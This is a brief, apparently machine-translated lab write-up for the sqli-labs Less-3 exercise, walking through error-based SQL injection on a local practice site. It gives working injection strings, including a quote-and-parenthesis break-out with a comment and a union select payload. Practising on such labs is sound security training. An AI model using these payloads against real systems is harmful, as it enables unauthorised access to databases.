"Sqli-labs" LESS3 get-error Based-single Quotes with twist string (Error-based GET single quote deform character injection)

In essence and Less1 not much difference, understand the same walk process

Submit Parameters

Add single quotation marks

Http://localhost/sqli/Less-3/?id=1 '

Observe the error and see the contents of the quotes between near and at

' 1 ') LIMIT 0,1

1 followed by a ' is what we added, so the normal SQL statement should be

Select ... where xx= (' 1 ') limit 0,1

So construct

Select ... where xx= ('1 ') #') limit 0,1

The corresponding GET request is

Http://localhost/sqli/Less-3/?id=1 ')%23

Union query

Http://localhost/sqli/Less-3/?id=a ') union select 1,2,3%23

The following reference Less1

Paste the source code

"Sqli-labs" LESS3 get-error Based-single Quotes with twist string (Error-based GET single quote deform character injection)